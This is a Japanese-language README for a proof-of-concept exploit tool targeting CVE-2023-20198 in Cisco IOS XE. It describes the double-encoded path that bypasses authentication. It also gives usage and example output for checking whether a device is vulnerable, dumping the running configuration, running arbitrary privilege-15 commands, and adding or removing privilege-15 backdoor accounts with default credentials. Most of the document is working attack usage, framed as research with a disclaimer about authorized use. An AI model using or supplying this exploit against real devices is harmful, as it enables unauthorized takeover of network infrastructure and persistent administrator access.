
CVE-2023-20198 のエクスプロイト PoC
CVE-2023-20198 のエクスプロイト PoC
脆弱性情報とエクスプロイトの使用方法は smokeintheshell から提供されています (参考文献を参照)
エンドポイント、http コンテンツタイプ、ヘッダー管理は、他の既存の PoC から変更され、他のエクスプロイトが失敗する状況でも動作するようになっています。
CVE-2023-20198 は、Nginx フィルタリングをバイパスして認証なしで webui_wsma_http Web エンドポイントに到達するための不適切なパス検証が特徴です。
エンドポイントへの認証をバイパスすることで、攻撃者は権限レベル 15 で任意の Cisco IOS コマンドを実行したり、設定変更を発行したりできます。
Cisco が以前未公開の脆弱性の活発な悪用を調査したところ、脅威アクターが最初に CVE-2023-20198 を悪用して権限レベル 15 の新しいユーザーを追加していたことが明らかになりました。さらなる攻撃では、CVE-2023-20273 を悪用して基盤となる Linux OS の root ユーザーに権限昇格し、インプラントを容易にしていました。
この PoC は CVE-2023-20198 を悪用して、2 つの異なる XML SOAP エンドポイントを活用します。
脆弱性チェック、設定、コマンド実行オプションはすべて cisco:wsma-exec SOAP エンドポイントをターゲットにして、execCLI 要素タグにコマンドを挿入します。
ユーザー追加オプションは、cisco:wsma-config SOAP エンドポイントをターゲットにして設定変更を発行し、権限レベル 15 のアカウントを追加します。このエンドポイントは他の設定変更を行うために悪用される可能性もありますが、それはこの PoC の範囲外です。
cisco:wsma-exec SOAP エンドポイントの悪用は nuclei テンプレートから来ています。
cisco:wsma-config SOAP エンドポイントの悪用は horizon3ai の PoC から来ています。
注記: 私はこの CVE に対する独自の研究や PoC 開発は一切行っていません。クレジットについては参考文献セクションを参照してください。
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
CVE-2023-20198 のチェックには、-c を使用して脆弱性を悪用し、uname -a を実行します。
Example:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g オプションは sh run を実行して実行中のコンフィグを取得します。
Example:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
-e オプションを使用すると、任意の Cisco IOS コマンドを実行できます。
設定変更を行う際には細心の注意を払ってください。入力検証はなく、変更は即座に実行中のコンフィグに適用されます。
Example:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a オプションは、新しい権限レベル 15 のユーザーアカウントを作成するために使用できます。必要に応じて、-u と -p でアカウント名とパスワードを指定できます。
Example:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d オプションは、デバイスからユーザーアカウントを削除するために使用でき、-u で指定されたユーザー名が考慮されます。
正当なアカウントを削除しないように注意する必要があります。
このオプションは、エクスプロイトされた Cisco へのシェル/WebUI アクセスが得られない場合のために追加されました。権限レベル 15 のユーザーを追加しても WebUI アクセスは許可されず、ホスト上にエクスプロイトの痕跡を残す可能性があることが観察されました。
Cisco 勧告
horizon3ai CVE-2023-20198 の研究
horizon3ai CVE-2023-20198 の PoC
nuclei CVE-2023-20198 のテンプレート (著者: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 の PoC
smokeintheshell CVE-2023-20198 の PoC
このプロジェクトに含まれるコードは、研究目的およびユーザーが明示的な許可を得ているシステムでの使用のみを目的としています。
このプロジェクトの作者は、ソフトウェアの誤用について一切の責任を負いません。
責任を持って使用し、悪用しないでください。